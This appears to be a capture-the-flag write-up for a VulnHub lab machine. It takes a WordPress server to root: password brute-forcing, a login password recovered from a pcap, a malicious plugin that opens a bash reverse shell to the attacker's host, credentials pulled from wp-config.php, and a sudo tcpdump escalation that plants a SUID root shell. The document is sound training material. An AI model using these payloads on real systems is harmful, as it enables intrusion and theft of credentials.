Port 80

- Running on wordpress CMS

1. Ran wpscan
    - WP Version: 4.9.8
    - User: webdeveloper
    - Plugins: None
    - Themes: twentyseventeen
2. Bruteforce user `webdeveloper`

```
wpscan --url 192.168.56.101 --wp-content-dir wp-admin --usernames webdeveloper --passwords /usr/share/wordlists/rockyou.txt
```

    - Unable to find password
3. Feroxbuster found a directory usually not found in Wordpress
    - `http://192.168.56.101/ipdata`
        - Contains a pcap file
4. Analyze with wireshark
    a. Insert filter `http.request.method == POST`
    b. Follow TCP Stream

```
POST /wordpress/wp-login.php HTTP/1.1
Host: 192.168.1.176
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.176/wordpress/wp-login.php?redirect_to=http%3A%2F%2F192.168.1.176%2Fwordpress%2Fwp-admin%2F&reauth=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: keep-alive
Upgrade-Insecure-Requests: 1

log=webdeveloper&pwd=Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.176%2Fwordpress%2Fwp-admin%2F&testcookie=1HTTP/1.1 302 Found
```

    - URL Decoded:
        - `log=webdeveloper&pwd=Te5eQg&4sBS!Yr$)wf%(DcAd&wp-submit=Log+In&redirect_to=http://192.168.1.176/wordpress/wp-admin/&testcookie=1HTTP/1.1302Found`
        - webdeveloper:`Te5eQg&4sBS!Yr$)wf%(DcAd`
        - Successfully logged in.
5. Insert php-reverse-shell & obtain a shell
    - Insert at `http://webdeveloper.vuln/wp-admin/theme-editor.php`
    - Did not work
6. Insert reverse-shell as a plugin
    a. Upload plugin at `http://webdeveloper.vuln/wp-admin/plugin-install.php`

```
<?php


/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: ky1
* Author URI: http://www.sevenlayers.com
```

```
 * zip shell-plugin.zip shell-plugin.php
 */
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.103/4444 0>&1'");
?>
```

b. Execute plugin by clicking `Active Plugin`

c. Shell obtained

```
┌──(root💀kali)-[~/vulnHub/webDeveloper/192.168.56.101/exploit]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 50624
bash: cannot set terminal process group (1065): Inappropriate ioctl for device
bash: no job control in this shell
www-data@webdeveloper:/var/www/html/wp-admin$ whoami
whoami
www-data
www-data@webdeveloper:/var/www/html/wp-admin$
```

Privilege Escalation to Web Developer via creds found in files

1. Ran linpeas, found creds

```
╔══════════╣ Analyzing Wordpress Files (limit 70)
-rw-r--r-- 1 www-data www-data 3111 Oct 30  2018 /var/www/html/wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'webdeveloper');
define('DB_PASSWORD', 'MasterOfTheUniverse');
define('DB_HOST', 'localhost');
```

   - webdeveloper:MasterofTheUniverse
2. Change user to webdeveloper

Privilege Escalation to Root via Misconfigured Sudo

1. Sudo access

```
Matching Defaults entries for webdeveloper on webdeveloper:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webdeveloper may run the following commands on webdeveloper:
    (root) /usr/sbin/tcpdump
webdeveloper@webdeveloper:/dev/shm$
```

   - Refer to GTFOBins
2. Exploit

```
COMMAND='cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo -u root /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
```

3. Obtain root & root flag

```
 +xs /tmp/rootbash'eloper:/dev/shm$ COMMAND='cp /bin/bash /tmp/rootbash && chmod
webdeveloper@webdeveloper:/dev/shm$ TF=$(mktemp)
webdeveloper@webdeveloper:/dev/shm$ echo "$COMMAND" > $TF
webdeveloper@webdeveloper:/dev/shm$ chmod +x $TF
1 -z $TF -Z rootdeveloper:/dev/shm$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1
dropped privs to root
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes

Maximum file limit reached: 1
1 packet captured
160 packets received by filter
0 packets dropped by kernel
webdeveloper@webdeveloper:/dev/shm$
webdeveloper@webdeveloper:/dev/shm$ cd /tmp
webdeveloper@webdeveloper:/tmp$ ls
f               tmp.f049lohsMi  tmp.oNcaeiHUDc  tmp.t5EbyFb62Y
rootbash        tmp.G13iDEmYkf  tmp.pLAUkLyQU5  tmp.zHTgJCyBaL
tmp.5ZXDoZv7Yq  tmp.Knrnb50hyO  tmp.Q5j2BooGZ7  tmux-33
webdeveloper@webdeveloper:/tmp$ ./rootbash -p
rootbash-4.4# whoami
root
rootbash-4.4# cd /root
rootbash-4.4# ls
flag.txt
rootbash-4.4# cat flag.txt
Congratulations here is youre flag:
cba045a5a4f26f1cd8d7be9a5c2b1b34f6c5d290
rootbash-4.4#
```